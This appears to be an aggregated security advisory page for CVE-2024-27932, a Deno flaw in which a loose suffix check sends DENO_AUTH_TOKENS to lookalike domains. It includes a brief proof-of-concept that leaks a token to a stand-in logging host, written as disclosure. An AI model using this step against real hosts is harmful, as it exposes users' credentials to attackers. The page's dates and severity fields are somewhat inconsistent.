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🛡️ JLSEC-2026-104 — deno-jll (CVE-2024-27932)

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Deno's improper suffix match testing for DENO_AUTH_TOKENS

Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Details

[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.

PoC

  • Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com.
  • Run [email protected] deno run https://not-a-left-truncated.domain. For example, [email protected] deno run https://denovulnpoc.example.com
  • Observe that the token intended only for the truncated domain is sent to the full domain

Impact

_What kind of vulnerability is it? Who is impacted?_

Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Affected software

JLSEC-2026-104 is recorded against 1 package.

  • deno-jll

Timeline and source

Published on 14 April 2026 and last revised on 25 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
nvd.nist.gov (Web)

Other advisories for this package

deno-jll has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-04-14
Updated 2026-08-20
Modified 2026-07-25
Fix URL N/A

Affected Packages

Software From version Fixed in
deno-jll — —

Similar Threats

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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